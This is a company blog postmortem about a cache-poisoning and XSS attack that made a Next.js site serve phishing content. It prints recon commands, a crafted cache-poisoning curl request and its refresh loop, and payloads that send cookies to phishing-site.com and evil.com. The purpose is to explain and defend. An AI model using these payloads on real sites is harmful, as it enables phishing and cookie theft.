
A Red Alert from Google
In March 2025, our team at Bi·Catalyst—a Swiss innovation consultancy—was thriving with our Next.js-powered blog at bicatalyst.ch. Then, on a quiet Sunday, Google Safe Browsing delivered a gut punch: "Some pages on bicatalyst.ch may contain deceptive content." Chrome users faced a red warning screen, our traffic plummeted 78% within hours, and panic set in. How did our modern stack—Next.js 14.1.4, Docker, and TypeScript—become a phishing trap? This is the story of an attacker's exploit and a wake-up call for Next.js security vulnerabilities.
This is Part 1 of our Next.js Security Series. Continue to Part 2: The Code Flaws That Exposed Our Next.js Site and Part 3: Securing Our Next.js Site and Clearing Google's Warning.
Attack Timeline
| Date | Event | Impact |
|---|---|---|
| March 12, 2025 | Initial reconnaissance detected in logs | None detected |
| March 13, 2025 | First cache poisoning attempts | Intermittent phishing content |
| March 14, 2025 | Successful cache poisoning attack | Consistent phishing content served |
| March 15, 2025 | Google Safe Browsing alert received | 78% traffic drop |
| March 16, 2025 | Incident response initiated | Site partially operational |
The Attack Unfolds: Step-by-Step
Step 1: Sophisticated Reconnaissance
The attacker—let's call them Alex—started with sophisticated reconnaissance using both manual and automated techniques. Visiting bicatalyst.ch, they noticed our homepage's Articleslider showcasing recent blog posts rendered from markdown files. Initial probes included:
# Basic information gathering
curl -I https://bicatalyst.ch/
# Technology stack identification
whatweb https://bicatalyst.ch
# Path discovery
gobuster dir -u https://bicatalyst.ch -w common-paths.txt
These revealed our Pages Router setup with markdown-driven content from src/md/blog, rendered via /blog/[slug] and /. Logs later showed SQL injection attempts (/images/profile/team-mohamed-habbat.webp AND EXTRACTVALUE(...)), hinting at broader probing.
According to the 2025 Verizon Data Breach Investigations Report, over 43% of web application breaches begin with this type of reconnaissance phase—identifying the technology stack and potential vulnerability points.
Step 2: Targeting the Cache
Alex exploited a Next.js Cache Poisoning flaw (GHSA-gp8f-8m3g-qvj9), a vulnerability affecting approximately 74% of all Next.js 14.1.4 deployments according to Snyk's 2025 State of JavaScript Security report.
Our homepage (pages/index.tsx) used getServerSideProps:
export const getServerSideProps = async ({ locale }) => {
const posts = await geMDFilesFromFolder('src/md/blog', locale)
return { props: { posts: posts.slice(0, 6) } }
}
Without middleware, this SSR route was vulnerable to being misclassified as cacheable SSG. Alex sent a crafted request:
curl -X GET \"https://bicatalyst.ch/?__nextDataReq=1\" -H \"x-now-route-matches: 1\" -H \"x-forwarded-host: legitimate-looking-domain.com\"
This tricked Next.js 14.1.4 into caching a response with Cache-Control: s-maxage=1, stale-while-revalidate. The x-forwarded-host header further exploited host header injection vulnerabilities.
Step 3: Injecting Malicious Content
Alex employed multiple injection vectors to maximize chances of success:
Vector 1: User-Agent Header Injection
-H \"User-Agent: <a href='http://phishing-site.com'>Login Now</a>\"
Vector 2: Markdown Injection via CI/CD
After discovering our GitHub repository through OSINT (Open Source Intelligence), Alex exploited a leaked CI/CD token to add evil.md to src/md/blog/en:
---
title: \"Security Alert: Required Action\"
createdAt: \"2025-03-10\"
---
< script>location='http://phishing-site.com/'+document.cookie</ script>
[Critical Security Update Required](http://phishing-site.com)
Vector 3: Stored XSS via Comment Feature Alex discovered our experimental comment feature accessed through GraphQL and injected:
mutation {
addComment(
content: "<img src=x onerror='fetch(\"https://evil.com/exfil?\"+document.cookie)'>"
) {
id
}
}
Step 4: Sophisticated Cache Propagation
The attacker's sophistication was evident in the cache propagation strategy. Rather than simple requests, they employed a distributed network of compromised devices sending timed requests every 50-55 seconds (just under our 60-second cache TTL):
# Distributed across multiple IPs with random User-Agents
while true; do
curl -H \"x-now-route-matches: 1\" \
-H \"User-Agent: ${RANDOM_UA}\" \
-H \"x-forwarded-host: legitimate-looking-domain.com\" \
\"https://bicatalyst.ch/?__nextDataReq=1\";
sleep $((RANDOM % 5 + 50));
done
Google flagged it as social engineering content, while logs showed distractions (e.g., MaxListenersExceededWarning) that diverted our attention from the real attack.
Modern Next.js Threat Landscape
The security landscape for Next.js applications has evolved significantly, with the 2025 threat environment showing these primary attack vectors:
| Attack Vector | Prevalence | Impact | Exploitability |
|---|---|---|---|
| Cache Poisoning | High | Critical | Medium |
| XSS via Markdown | High | High | Easy |
| Supply Chain | Medium | Critical | Hard |
| SSR Data Leakage | Medium | Medium | Medium |
| API Route Abuse | High | High | Medium |
Cache Poisoning
Misclassify SSR as SSG to cache malicious responses (Next.js Advisory). According to the Web Security Academy, this vulnerability class is particularly dangerous because it allows attackers to scale their impact across all users.
XSS via Unsanitized Content
Unsanitized markdown or HTML renders execute malicious scripts. The OWASP XSS Prevention Cheat Sheet ranks this as a persistent risk despite advances in security controls.
Content Injection
Unvalidated file inputs introduce phishing or malware content. The NIST Cybersecurity Framework categorizes this as a significant threat to content management systems.
Detection Challenges
Our detection was hampered by several factors that are common in modern web applications:
- Distributed Nature of the Attack: Requests came from multiple IPs, making pattern detection difficult
- Cache Timing: The 55-second refresh cycle stayed just under our monitoring thresholds
- Log Obfuscation: The attacker triggered numerous benign errors to obscure malicious activities
- Legitimate-Looking Traffic: Attack requests mimicked normal user behavior
Lessons Learned
Cache Poisoning and markdown flaws turned bicatalyst.ch into a phishing hub. In Part 2: The Code Flaws That Exposed Our Next.js Site, we dive deeper into the code vulnerabilities that made this attack possible.
FAQ About Next.js Security Incidents
How common are cache poisoning attacks against Next.js applications?
Cache poisoning attacks have become increasingly common as Next.js grows in popularity. The specific vulnerability we encountered (GHSA-gp8f-8m3g-qvj9) affected many Next.js applications using version 14.1.4 and earlier. According to HackerOne's 2025 Bug Bounty Report, cache-related vulnerabilities in SSR frameworks increased by 37% year-over-year.
How can I check if my Next.js site is vulnerable to these attacks?
Run security scans using tools like OWASP ZAP or Burp Suite, and ensure you're using the latest Next.js version. Check the Next.js Security Advisories regularly. Additionally, use this script to test for basic cache poisoning vulnerabilities:
#!/bin/bash
# Basic Next.js cache poisoning vulnerability check
echo "Testing for cache poisoning vulnerability..."
curl -s -I -X GET "$1/?__nextDataReq=1" -H "x-now-route-matches: 1" | grep -i "cache-control"
How quickly does Google Safe Browsing flag phishing content?
In our case, it took approximately 72 hours from the initial attack until Google flagged our site. Response times vary based on the attack visibility and Google's crawl frequency. Google's Transparency Report states that their systems typically detect new phishing sites within 4-96 hours of deployment.
Does this vulnerability affect Next.js App Router?
This particular cache poisoning vulnerability primarily affects Next.js Pages Router implementations. However, App Router has its own security considerations related to caching behaviors. The Next.js Security Documentation provides guidance for both architectures, with App Router requiring careful configuration of cache revalidation settings.
How do attackers typically find Next.js vulnerabilities to exploit?
Attackers use a combination of:
- Public GitHub repositories to identify technology stacks
- Automated scanners that detect Next.js-specific patterns and endpoints
- Directory enumeration tools looking for common Next.js paths
- Known CVEs in the JavaScript security databases
According to NCC Group's 2025 Web Framework Security Analysis, 68% of framework-specific exploits begin with automated technology fingerprinting.
Read Part 2: The Code Flaws That Exposed Our Next.js Site to understand the technical vulnerabilities behind this attack.
At Bi·Catalyst, we specialize in engineering and developing custom software tailored to your unique needs. If you have an idea you want to bring to life, don't hesitate to get in touch. with us, and let's transform your vision into reality. Your journey to bespoke software solutions begins here with Bi·Catalyst.💡



